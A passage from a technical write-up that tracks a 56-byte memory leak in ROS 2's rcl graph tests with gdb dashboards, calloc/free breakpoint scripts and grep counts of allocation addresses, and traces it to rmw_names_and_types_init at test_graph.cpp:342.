    0x00007ffff66444c4 __default_zero_allocate+20 mov    -0x10(%rbp),%rdx
    0x00007ffff66444c8 __default_zero_allocate+24 mov    -0x8(%rbp),%rax
    0x00007ffff66444cc __default_zero_allocate+28 mov    %rdx,%rsi
    0x00007ffff66444cf __default_zero_allocate+31 mov    %rax,%rdi
    ─── Expressions ────────────────────────────────────────────────────────────────────────
    ─── History ────────────────────────────────────────────────────────────────────────────
    ─── Memory ─────────────────────────────────────────────────────────────────────────────
    ─── Registers ──────────────────────────────────────────────────────────────────────────
       rax 0x00007ffff66444b0       rbx 0x00007fffffff1cf0       rcx 0x0000000000000000
       rdx 0x0000000000000000       rsi 0x0000000000000058       rdi 0x0000000000000001
       rbp 0x00007ffffffefe40       rsp 0x00007ffffffefe20        r8 0x0000000000000000
        r9 0x0000000000000000       r10 0x0000000000000022       r11 0x00007ffff6648fab
       r12 0x00000fffffffdfde       r13 0x00007ffffffefef0       r14 0x0000603000033730
       r15 0x00007ffffffefef0       rip 0x00007ffff66444c4    eflags [ IF ]
        cs 0x00000033                ss 0x0000002b                ds 0x00000000
        es 0x00000000                fs 0x00000000                gs 0x00000000
    ─── Source ─────────────────────────────────────────────────────────────────────────────
    51
    52 static void *
    53 __default_zero_allocate(size_t number_of_elements, size_t size_of_element, void * state)
    54 {
    55   RCUTILS_UNUSED(state);
    56   return calloc(number_of_elements, size_of_element);
    57 }
    58
    59 rcutils_allocator_t
    60 rcutils_get_zero_initialized_allocator(void)
    61 {
    ─── Stack ──────────────────────────────────────────────────────────────────────────────
    [0] from 0x00007ffff66444c4 in __default_zero_allocate+20 at /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
    arg number_of_elements = 1
    arg size_of_element = 88
    arg state = 0x0
    [1] from 0x00007ffff6bba48a in rcl_init+1991 at /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/init.c:78
    arg argc = 0
    arg argv = 0x0
    arg options = 0x7fffffff2000
    arg context = 0x603000033730
    [+]
    ─── Threads ────────────────────────────────────────────────────────────────────────────
    [1] id 16950 name test_graph__rmw from 0x00007ffff66444c4 in __default_zero_allocate+20 at /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
    ────────────────────────────────────────────────────────────────────────────────────────

    Breakpoint 1, __default_zero_allocate (number_of_elements=1, size_of_element=88, state=0x0) at /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
    56    return calloc(number_of_elements, size_of_element);
    ```

in this case, the size_of_element is 88 bytes, we will focus first on the 56 bytes leaked. Searching, eventually we’ll find:

```bash
    ─── Assembly ───────────────────────────────────────────────────────────────────────────
    0x00007ffff66444b8 __default_zero_allocate+8  mov    %rdi,-0x8(%rbp)
    0x00007ffff66444bc __default_zero_allocate+12 mov    %rsi,-0x10(%rbp)
    0x00007ffff66444c0 __default_zero_allocate+16 mov    %rdx,-0x18(%rbp)
    0x00007ffff66444c4 __default_zero_allocate+20 mov    -0x10(%rbp),%rdx
    0x00007ffff66444c8 __default_zero_allocate+24 mov    -0x8(%rbp),%rax
    0x00007ffff66444cc __default_zero_allocate+28 mov    %rdx,%rsi
    0x00007ffff66444cf __default_zero_allocate+31 mov    %rax,%rdi
    ─── Expressions ────────────────────────────────────────────────────────────────────────
    ─── History ────────────────────────────────────────────────────────────────────────────
    ─── Memory ─────────────────────────────────────────────────────────────────────────────
    ─── Registers ──────────────────────────────────────────────────────────────────────────
       rax 0x00007ffff66444b0       rbx 0x00007fffffff0a90       rcx 0x0000000000000001
       rdx 0x0000000000000000       rsi 0x0000000000000038       rdi 0x0000000000000001
       rbp 0x00007ffffffef990       rsp 0x00007ffffffef970        r8 0x0000000000000000
        r9 0x0000000000000000       r10 0x00007ffffffef190       r11 0x00007ffffffef190
       r12 0x00007ffffffef9d0       r13 0x00000fffffffdf3a       r14 0x00007ffffffef9d0
       r15 0x00007fffffff0b70       rip 0x00007ffff66444c4    eflags [ IF ]
        cs 0x00000033                ss 0x0000002b                ds 0x00000000
        es 0x00000000                fs 0x00000000                gs 0x00000000
    ─── Source ─────────────────────────────────────────────────────────────────────────────
    51
    52 static void *
    53 __default_zero_allocate(size_t number_of_elements, size_t size_of_element, void * state)
    54 {
    55   RCUTILS_UNUSED(state);
    56   return calloc(number_of_elements, size_of_element);
    57 }
    58
    59 rcutils_allocator_t
    60 rcutils_get_zero_initialized_allocator(void)
    61 {
    ─── Stack ──────────────────────────────────────────────────────────────────────────────
    [0] from 0x00007ffff66444c4 in __default_zero_allocate+20 at /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
    arg number_of_elements = 1
    arg size_of_element = 56
    arg state = 0x0
    [1] from 0x00007ffff6435c7f in rmw_names_and_types_init+629 at /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:72
    arg names_and_types = 0x7fffffff1e40
    arg size = 1
    arg allocator = 0x7fffffff1330
    [+]
    ─── Threads ────────────────────────────────────────────────────────────────────────────
    [10] id 16963 name test_graph__rmw from 0x00007ffff6000567 in __libc_recvmsg+71 at ../sysdeps/unix/sysv/linux/recvmsg.c:28
    [9] id 16962 name test_graph__rmw from 0x00007ffff5fff10d in __lll_lock_wait+29 at ../sysdeps/unix/sysv/linux/x86_64/lowlevellock.S:135
    [8] id 16961 name test_graph__rmw from 0x00007ffff295f4c0 in std::chrono::duration_cast<std::chrono::duration<long, std::ratio<1l, 1000000000l> >, long, std::ratio<1l, 1000000l> >+0 at /usr/include/c++/7/chrono:194
    [7] id 16960 name test_graph__rmw from 0x00007ffff2967be6 in std::vector<asio::detail::timer_queue<asio::detail::chrono_time_traits<std::chrono::_V2::steady_clock, asio::wait_traits<std::chrono::_V2::steady_clock> > >::heap_entry, std::allocator<asio::detail::timer_queue<asio::detail::chrono_time_traits<std::chrono::_V2::steady_clock, asio::wait_traits<std::chrono::_V2::steady_clock> > >::heap_entry> >::end at /usr/include/c++/7/bits/stl_vector.h:591
    [6] id 16959 name test_graph__rmw from 0x00007ffff5ffb9f3 in futex_wait_cancelable+27 at ../sysdeps/unix/sysv/linux/futex-internal.h:88
    [5] id 16958 name test_graph__rmw from 0x00007ffff6000567 in __libc_recvmsg+71 at ../sysdeps/unix/sysv/linux/recvmsg.c:28
    [4] id 16957 name test_graph__rmw from 0x00007ffff6000567 in __libc_recvmsg+71 at ../sysdeps/unix/sysv/linux/recvmsg.c:28
    [3] id 16956 name test_graph__rmw from 0x00007ffff28f77c6 in eprosima::fastrtps::rtps::ReaderProxy** std::__copy_move_a<true, eprosima::fastrtps::rtps::ReaderProxy**, eprosima::fastrtps::rtps::ReaderProxy**>(eprosima::fastrtps::rtps::ReaderProxy**, eprosima::fastrtps::rtps::ReaderProxy**, eprosima::fastrtps::rtps::ReaderProxy**)@plt
    [2] id 16955 name test_graph__rmw from 0x00007ffff577dbb7 in epoll_wait+87 at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
    [1] id 16950 name test_graph__rmw from 0x00007ffff66444c4 in __default_zero_allocate+20 at /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
    ────────────────────────────────────────────────────────────────────────────────────────

    Thread 1 "test_graph__rmw" hit Breakpoint 1, __default_zero_allocate (number_of_elements=1, size_of_element=56, state=0x0) at /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
    56    return calloc(number_of_elements, size_of_element);
    ```

Let’s debug and play with calloc (not malloc) and free again. To do so, we’ll break at __default_zero_allocate and manually figure out the returned address:

```bash
    ─── Assembly ─────────────────────────────────────────────────────────────────────────────────
    0x00007ffff66444cc __default_zero_allocate+28 mov    %rdx,%rsi
    0x00007ffff66444cf __default_zero_allocate+31 mov    %rax,%rdi
    0x00007ffff66444d2 __default_zero_allocate+34 callq  0x7ffff6643dd0 <calloc@plt>
    0x00007ffff66444d7 __default_zero_allocate+39 leaveq
    0x00007ffff66444d8 __default_zero_allocate+40 retq
    ─── Expressions ──────────────────────────────────────────────────────────────────────────────
    ─── History ──────────────────────────────────────────────────────────────────────────────────
    $$0 = 88
    ─── Memory ───────────────────────────────────────────────────────────────────────────────────
    ─── Registers ────────────────────────────────────────────────────────────────────────────────
       rax 0x0000608000000120         rbx 0x00007fffffff1cf0         rcx 0x0000000000000000
       rdx 0x0000000000000058         rsi 0x0000000000000000         rdi 0x0000608000000120
       rbp 0x00007ffffffefe40         rsp 0x00007ffffffefe20          r8 0x0000000000000000
        r9 0x0000000000000000         r10 0x00007ffffffef650         r11 0x00007ffffffef650
       r12 0x00000fffffffdfde         r13 0x00007ffffffefef0         r14 0x0000603000033730
       r15 0x00007ffffffefef0         rip 0x00007ffff66444d7      eflags [ PF ZF IF ]
        cs 0x00000033                  ss 0x0000002b                  ds 0x00000000
        es 0x00000000                  fs 0x00000000                  gs 0x00000000
    ─── Source ───────────────────────────────────────────────────────────────────────────────────
    52 static void *
    53 __default_zero_allocate(size_t number_of_elements, size_t size_of_element, void * state)
    54 {
    55   RCUTILS_UNUSED(state);
    56   return calloc(number_of_elements, size_of_element);
    57 }
    58
    59 rcutils_allocator_t
    60 rcutils_get_zero_initialized_allocator(void)
    61 {
    62   static rcutils_allocator_t zero_allocator = {
    ```

It seems that __default_zero_allocate+39 is the point where we can fetch the memory address allocated in the heap (from rax register). In the example above 0x0000608000000120. This can be double checked by putting a breakpoint at b rcl/init.c:79 and checking the address of context->impl:

```bash
    >>> b rcl/init.c:79
    Breakpoint 15 at 0x7ffff6bba4c0: file /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/init.c, line 79.
    >>> down
    #0  __default_zero_allocate (number_of_elements=1, size_of_element=88, state=0x0) at /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:57
    57  }
    >>> c
    Continuing.
    ─── Output/messages ──────────────────────────────────────────────────────────────────────────
    ─── Assembly ─────────────────────────────────────────────────────────────────────────────────
    0x00007ffff6bba4b0 rcl_init+2029 callq  0x7ffff6ba4e80 <__asan_report_store8@plt>
    0x00007ffff6bba4b5 rcl_init+2034 mov    -0x1ea0(%rbp),%rax
    0x00007ffff6bba4bc rcl_init+2041 mov    %rcx,0x8(%rax)
    0x00007ffff6bba4c0 rcl_init+2045 mov    -0x1ea0(%rbp),%rax
    0x00007ffff6bba4c7 rcl_init+2052 mov    0x8(%rax),%rax
    0x00007ffff6bba4cb rcl_init+2056 test   %rax,%rax
    0x00007ffff6bba4ce rcl_init+2059 jne    0x7ffff6bba4f2 <rcl_init+2095>
    ─── Expressions ──────────────────────────────────────────────────────────────────────────────
    ─── History ──────────────────────────────────────────────────────────────────────────────────
    $$0 = 88
    ─── Memory ───────────────────────────────────────────────────────────────────────────────────
    ─── Registers ────────────────────────────────────────────────────────────────────────────────
       rax 0x0000603000033730         rbx 0x00007fffffff1cf0         rcx 0x0000608000000120
       rdx 0x0000000000000000         rsi 0x0000000000000000         rdi 0x0000608000000120
       rbp 0x00007fffffff1d20         rsp 0x00007ffffffefe50          r8 0x0000000000000000
        r9 0x0000000000000000         r10 0x00007ffffffef650         r11 0x00007ffffffef650
       r12 0x00000fffffffdfde         r13 0x00007ffffffefef0         r14 0x0000603000033730
       r15 0x00007ffffffefef0         rip 0x00007ffff6bba4c0      eflags [ PF ZF IF ]
        cs 0x00000033                  ss 0x0000002b                  ds 0x00000000
        es 0x00000000                  fs 0x00000000                  gs 0x00000000
    ─── Source ───────────────────────────────────────────────────────────────────────────────────
    74   context->global_arguments = rcl_get_zero_initialized_arguments();
    75
    76   // Setup impl for context.
    77   // use zero_allocate so the cleanup function will not try to clean up uninitialized parts later
    78   context->impl = allocator.zero_allocate(1, sizeof(rcl_context_impl_t), allocator.state);
    79   RCL_CHECK_FOR_NULL_WITH_MSG(
    80     context->impl, "failed to allocate memory for context impl", return RCL_RET_BAD_ALLOC);
    81
    82   // Zero initialize rmw context first so its validity can by checked in cleanup.
    83   context->impl->rmw_context = rmw_get_zero_initialized_context();
    84
    ─── Stack ────────────────────────────────────────────────────────────────────────────────────
    [0] from 0x00007ffff6bba4c0 in rcl_init+2045 at /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/init.c:79
    arg argc = 0
    arg argv = 0x0
    arg options = 0x7fffffff2000
    arg context = 0x603000033730
    [1] from 0x00005555555b4e08 in TestGraphFixture__rmw_fastrtps_cpp::SetUp at /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:77
    arg this = 0x606000001ca0
    [+]
    ─── Threads ──────────────────────────────────────────────────────────────────────────────────
    [1] id 19574 name test_graph__rmw from 0x00007ffff6bba4c0 in rcl_init+2045 at /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/init.c:79
    ──────────────────────────────────────────────────────────────────────────────────────────────

    Breakpoint 15, rcl_init (argc=0, argv=0x0, options=0x7fffffff2000, context=0x603000033730) at /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/init.c:79
    79    RCL_CHECK_FOR_NULL_WITH_MSG(
    >>> p context
    $2 = (rcl_context_t *) 0x603000033730
    >>> p context->impl
    $3 = (struct rcl_context_impl_t *) 0x608000000120
    ```

For fun, let’s try to see what’s the offset in calloc that provides the pointer that addresses the portion of memory allocated in the heap. We start by breaking in __default_zero_allocate (b __default_zero_allocate) and then (once in here), in calloc (b calloc).

We know that the address will be in the 0x60800000XXXX range (more or less, look at the heap boundaries for more specific answer) and to speed up the process, we can take a peek at the assembly code of calloc once we’ve broken there:

```bash
    >>> x/90i $pc
    => 0x7ffff6ef8d6c <calloc+252>: cmpb   $0x0,0xd8c0(%rax)
       0x7ffff6ef8d73 <calloc+259>: jne    0x7ffff6ef8cf3 <calloc+131>
       0x7ffff6ef8d79 <calloc+265>: mov    %rax,%rdi
       0x7ffff6ef8d7c <calloc+268>: mov    %rax,-0x860(%rbp)
       0x7ffff6ef8d83 <calloc+275>: callq  0x7ffff6f07c20
       0x7ffff6ef8d88 <calloc+280>: mov    -0x860(%rbp),%r10
       0x7ffff6ef8d8f <calloc+287>: mov    %rax,-0x868(%rbp)
       0x7ffff6ef8d96 <calloc+294>: mov    %r10,%rdi
       0x7ffff6ef8d99 <calloc+297>: callq  0x7ffff6f07c80
       0x7ffff6ef8d9e <calloc+302>: mov    -0x860(%rbp),%r10
       0x7ffff6ef8da5 <calloc+309>: mov    -0x854(%rbp),%esi
       0x7ffff6ef8dab <calloc+315>: mov    %rbp,%rcx
       0x7ffff6ef8dae <calloc+318>: mov    -0x868(%rbp),%r9
       0x7ffff6ef8db5 <calloc+325>: xor    %r8d,%r8d
       0x7ffff6ef8db8 <calloc+328>: mov    %r15,%rdx
       0x7ffff6ef8dbb <calloc+331>: mov    %rbx,%rdi
       0x7ffff6ef8dbe <calloc+334>: movb   $0x1,0xd8c0(%r10)
       0x7ffff6ef8dc6 <calloc+342>: push   %r14
       0x7ffff6ef8dc8 <calloc+344>: push   %rax
       0x7ffff6ef8dc9 <calloc+345>: callq  0x7ffff6f1ddf0
       0x7ffff6ef8dce <calloc+350>: mov    -0x860(%rbp),%r10
       0x7ffff6ef8dd5 <calloc+357>: movb   $0x0,0xd8c0(%r10)
       0x7ffff6ef8ddd <calloc+365>: pop    %rcx
       0x7ffff6ef8dde <calloc+366>: pop    %rsi
       0x7ffff6ef8ddf <calloc+367>: jmpq   0x7ffff6ef8cf3 <calloc+131>
       0x7ffff6ef8de4 <calloc+372>: nopl   0x0(%rax)
       0x7ffff6ef8de8 <calloc+376>: mov    %rbp,-0x40(%rbp)
       0x7ffff6ef8dec <calloc+380>: callq  0x7ffff6f1d890
       0x7ffff6ef8df1 <calloc+385>: mov    %rax,-0x840(%rbp)
       0x7ffff6ef8df8 <calloc+392>: callq  0x7ffff6f06df0
       0x7ffff6ef8dfd <calloc+397>: cmp    $0x1,%eax
       0x7ffff6ef8e00 <calloc+400>: jbe    0x7ffff6ef8cf3 <calloc+131>
       0x7ffff6ef8e06 <calloc+406>: mov    0x8(%rbp),%rax
       0x7ffff6ef8e0a <calloc+410>: mov    %rax,-0x838(%rbp)
       0x7ffff6ef8e11 <calloc+417>: jmpq   0x7ffff6ef8cf3 <calloc+131>
       0x7ffff6ef8e16 <calloc+422>: nopw   %cs:0x0(%rax,%rax,1)
       0x7ffff6ef8e20 <calloc+432>: test   %r14b,%r14b
       0x7ffff6ef8e23 <calloc+435>: jne    0x7ffff6ef8cf3 <calloc+131>
       0x7ffff6ef8e29 <calloc+441>: mov    -0x854(%rbp),%esi
       0x7ffff6ef8e2f <calloc+447>: pushq  $0x0
       0x7ffff6ef8e31 <calloc+449>: mov    %r15,%rdx
       0x7ffff6ef8e34 <calloc+452>: pushq  $0x0
       0x7ffff6ef8e36 <calloc+454>: xor    %r9d,%r9d
       0x7ffff6ef8e39 <calloc+457>: xor    %r8d,%r8d
       0x7ffff6ef8e3c <calloc+460>: mov    %rbp,%rcx
       0x7ffff6ef8e3f <calloc+463>: mov    %rbx,%rdi
       0x7ffff6ef8e42 <calloc+466>: callq  0x7ffff6f1ddf0
       0x7ffff6ef8e47 <calloc+471>: pop    %rax
       0x7ffff6ef8e48 <calloc+472>: pop    %rdx
       0x7ffff6ef8e49 <calloc+473>: jmpq   0x7ffff6ef8cf3 <calloc+131>
       0x7ffff6ef8e4e <calloc+478>: xchg   %ax,%ax
       0x7ffff6ef8e50 <calloc+480>: imul   %rsi,%rdi
       0x7ffff6ef8e54 <calloc+484>: callq  0x7ffff6ef8690
       0x7ffff6ef8e59 <calloc+489>: jmpq   0x7ffff6ef8d01 <calloc+145>
       0x7ffff6ef8e5e <calloc+494>: callq  0x7ffff6e3a780 <__stack_chk_fail@plt>
       0x7ffff6ef8e63:  nopl   (%rax)
       0x7ffff6ef8e66:  nopw   %cs:0x0(%rax,%rax,1)
       0x7ffff6ef8e70 <realloc>:    push   %rbp
       0x7ffff6ef8e71 <realloc+1>:  mov    %rsp,%rbp
       0x7ffff6ef8e74 <realloc+4>:  push   %r15
       0x7ffff6ef8e76 <realloc+6>:  push   %r14
    ```

In short, to verify that we indeed are getting the right values for the dynamica memory allocated:

```bash
    # within gdb
    b main
    b __default_zero_allocate
    b *(calloc-15694047)
    b rcl/init.c:79
    p context->impl
    ```

Putting it together in a gdb script:

```bash
    set pagination off
    set breakpoint pending on
    set logging file gdbcmd1.out
    set logging on
    hbreak calloc
    commands
      set $callocsize = (unsigned long long) $rsi  
      continue
    end
    hbreak *(calloc-15694047)
    commands
      printf "calloc(%lld) = 0x%016llx\n", $callocsize, $rax
      continue
    end
    hbreak free
    commands
      printf "free(0x%016llx)\n", (unsigned long long) $rdi
      continue
    end
    continue
    ```

(after disabling a few of the hw breakpoints) generating a big file https://gist.github.com/vmayoral/57ea38f9614cbfd1b5d7e93d92c15e13. Browsing through this file, let’s coun the calloc counts in those cases where we allocate 56 bytes (where the leak is):

```bash
    cat gdbcmd1.out | grep "calloc(56)" | awk '{print $3}' | sed "s/^/cat gdbcmd1.out | grep -c /g"
    cat gdbcmd1.out | grep -c 0x000060600000af40
    cat gdbcmd1.out | grep -c 0x0000602000008f90
    cat gdbcmd1.out | grep -c 0x0000616000012c80
    cat gdbcmd1.out | grep -c 0x000060600001dba0
    cat gdbcmd1.out | grep -c 0x0000606000039bc0
    cat gdbcmd1.out | grep -c 0x000060b0000cf4c0
    cat gdbcmd1.out | grep -c 0x000060b0000cf990
    cat gdbcmd1.out | grep -c 0x000060b0000cfd00
    cat gdbcmd1.out | grep -c 0x00006060000436a0
    cat gdbcmd1.out | grep -c 0x000060600005c060
    cat gdbcmd1.out | grep -c 0x000060600005c1e0
    cat gdbcmd1.out | grep -c 0x000060600005c300
    cat gdbcmd1.out | grep -c 0x000060600005c420
    cat gdbcmd1.out | grep -c 0x000060600005c5a0
    cat gdbcmd1.out | grep -c 0x000060600005c720
    cat gdbcmd1.out | grep -c 0x000060600005c840
    cat gdbcmd1.out | grep -c 0x000060600005c960
    cat gdbcmd1.out | grep -c 0x000060600005cae0
    cat gdbcmd1.out | grep -c 0x000060600005cc00
    cat gdbcmd1.out | grep -c 0x000060600005cd20
    cat gdbcmd1.out | grep -c 0x000060600005cea0
    cat gdbcmd1.out | grep -c 0x000060600005cfc0
    cat gdbcmd1.out | grep -c 0x000060600005d0e0
    cat gdbcmd1.out | grep -c 0x000060600005d260
    cat gdbcmd1.out | grep -c 0x000060600005d380
    cat gdbcmd1.out | grep -c 0x000060600005d4a0
    cat gdbcmd1.out | grep -c 0x000060600005d5c0
    cat gdbcmd1.out | grep -c 0x000060b000148830
    cat gdbcmd1.out | grep -c 0x0000606000069b60
    cat gdbcmd1.out | grep -c 0x000060b000148d00
    cat gdbcmd1.out | grep -c 0x0000606000069e00
    cat gdbcmd1.out | grep -c 0x0000606000069f20
    cat gdbcmd1.out | grep -c 0x000060600006a040
    cat gdbcmd1.out | grep -c 0x000060600006a160
    cat gdbcmd1.out | grep -c 0x000060600006a280
    cat gdbcmd1.out | grep -c 0x00006060000717e0
    cat gdbcmd1.out | grep -c 0x00006060000718a0
    cat gdbcmd1.out | grep -c 0x00006060000719c0
    cat gdbcmd1.out | grep -c 0x0000606000071c00
    cat gdbcmd1.out | grep -c 0x0000606000071cc0
    cat gdbcmd1.out | grep -c 0x0000606000071de0
    cat gdbcmd1.out | grep -c 0x0000606000071f00
    cat gdbcmd1.out | grep -c 0x0000606000072020
    cat gdbcmd1.out | grep -c 0x0000606000072140
    cat gdbcmd1.out | grep -c 0x0000606000072260
    ```

which launched gets the following output:

```bash
    cat gdbcmd1.out | grep "calloc(56)" | awk '{print $3}' | sed "s/^/cat gdbcmd1.out | grep -c /g" | bash
    2
    2
    2
    1
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    2
    ```

We’re filtering by the address and we should expect to always get an even number (each calloc with its free) however we get an odd number for the address 0x000060600001dba0:

```bash
    cat gdbcmd1.out  | grep "0x000060600001dba0"
    calloc(56) = 0x000060600001dba0
    ```

It seems this is not getting released! Let’s get back to gdb and debug where does this happens with a combination as follows:

```bash
    set pagination off
    hbreak calloc
    commands
      set $callocsize = (unsigned long long) $rsi  
      continue
    end
    break *(calloc-15694047) if $callocsize == 56
    printf "calloc(%d) = 0x%016llx\n", $callocsize, $rax
    ```

In combination with:

```bash
    break free
    p $rdi
    c
    ```

It’s easy to validate that the 4th iteration is leaky. Further investigating here:

```bash
    >>> where
    #0  0x00007ffff6ef8d01 in calloc () from /usr/lib/x86_64-linux-gnu/libasan.so.4
    #1  0x00007ffff66444d7 in __default_zero_allocate (number_of_elements=1, size_of_element=56, state=0x0) at /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
    #2  0x00007ffff6435c7f in rmw_names_and_types_init (names_and_types=0x7fffffff11e0, size=1, allocator=0x7fffffff03c0) at /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:72
    #3  0x00007ffff3cde35b in rmw_fastrtps_shared_cpp::__copy_data_to_results (topics=std::map with 1 element = {...}, allocator=0x7fffffff03c0, no_demangle=false, topic_names_and_types=0x7fffffff11e0) at /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:199
    #4  0x00007ffff3ce0c46 in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) (identifier=0x7ffff6919660 "rmw_fastrtps_cpp", node=0x604000011990, allocator=0x7fffffff03c0, node_name=0x55555566a560 "test_graph_node", node_namespace=0x7ffff6bf4620 "/", no_demangle=false, retrieve_cache_func=..., topic_names_and_types=0x7fffffff11e0) at /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
    #5  0x00007ffff3ce10cd in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node (identifier=0x7ffff6919660 "rmw_fastrtps_cpp", node=0x604000011990, allocator=0x7fffffff03c0, node_name=0x55555566a560 "test_graph_node", node_namespace=0x7ffff6bf4620 "/", no_demangle=false, topic_names_and_types=0x7fffffff11e0) at /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
    #6  0x00007ffff68f21ec in rmw_get_publisher_names_and_types_by_node (node=0x604000011990, allocator=0x7fffffff03c0, node_name=0x55555566a560 "test_graph_node", node_namespace=0x7ffff6bf4620 "/", no_demangle=false, topic_names_and_types=0x7fffffff11e0) at /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_cpp/src/rmw_node_info_and_types.cpp:53
    #7  0x00007ffff6bb7876 in rcl_get_publisher_names_and_types_by_node (node=0x60200000bb90, allocator=0x7fffffff1120, no_demangle=false, node_name=0x55555566a560 "test_graph_node", node_namespace=0x555555669ae0 "", topic_names_and_types=0x7fffffff11e0) at /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
    #8  0x00005555555910ee in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody (this=0x606000015fe0) at /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
    #9  0x0000555555649216 in testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void> (object=0x606000015fe0, method=&virtual testing::Test::TestBody(), location=0x555555676dc0 "the test body") at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
    #10 0x000055555563b36a in testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void> (object=0x606000015fe0, method=&virtual testing::Test::TestBody(), location=0x555555676dc0 "the test body") at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
    #11 0x00005555555e7e52 in testing::Test::Run (this=0x606000015fe0) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
    #12 0x00005555555e927d in testing::TestInfo::Run (this=0x6120000004c0) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
    #13 0x00005555555e9e21 in testing::TestCase::Run (this=0x611000000400) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
    #14 0x0000555555604f32 in testing::internal::UnitTestImpl::RunAllTests (this=0x615000000800) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
    #15 0x000055555564bcc9 in testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool> (object=0x615000000800, method=(bool (testing::internal::UnitTestImpl::*)(testing::internal::UnitTestImpl * const)) 0x555555604842 <testing::internal::UnitTestImpl::RunAllTests()>, location=0x55555567ae60 "auxiliary test code (environments or event listeners)") at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
    #16 0x000055555563d633 in testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool> (object=0x615000000800, method=(bool (testing::internal::UnitTestImpl::*)(testing::internal::UnitTestImpl * const)) 0x555555604842 <testing::internal::UnitTestImpl::RunAllTests()>, location=0x55555567ae60 "auxiliary test code (environments or event listeners)") at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
    #17 0x0000555555601cc6 in testing::UnitTest::Run (this=0x5555558bea80 <testing::UnitTest::GetInstance()::instance>) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
    #18 0x00005555555d5215 in RUN_ALL_TESTS () at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
    #19 0x00005555555d515b in main (argc=1, argv=0x7fffffff4b28) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
    ```

Which tells us the exact same information Asan did already :). In other words, we reached the same conclusion, the problem seems to be at src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342.

Inspecting the code, it seems like key might be in the call to rmw_names_and_types_init which in exchange gets deallocated by rmw_names_and_types_fini. Let’s check whether all the memory reservations of 56 bytes do call rmw_names_and_types_fini. Let’s first analyze the typical call to rmw_names_and_types_fini after hitting one of the points we’re interested in (we break in rmw_names_and_types_fini (b rmw_names_and_types_fini)):

```bash
    gdb ./test_graph__rmw_fastrtps_cpp
    GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
    Copyright (C) 2018 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
    and "show warranty" for details.
    This GDB was configured as "x86_64-linux-gnu".
    Type "show configuration" for configuration details.
    For bug reporting instructions, please see:
    <http://www.gnu.org/software/gdb/bugs/>.
    Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
    For help, type "help".
    Type "apropos word" to search for commands related to "word"...
    Reading symbols from ./test_graph__rmw_fastrtps_cpp...done.
    >>> b main
    Breakpoint 1 at 0x8112b: file /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc, line 34.
    >>> r
    Starting program: /opt/ros2_asan_ws/build-asan/rcl/test/test_graph__rmw_fastrtps_cpp
    ─── Output/messages ───────────────────────────────────────────────────────────────────────────────
    [Thread debugging using libthread_db enabled]
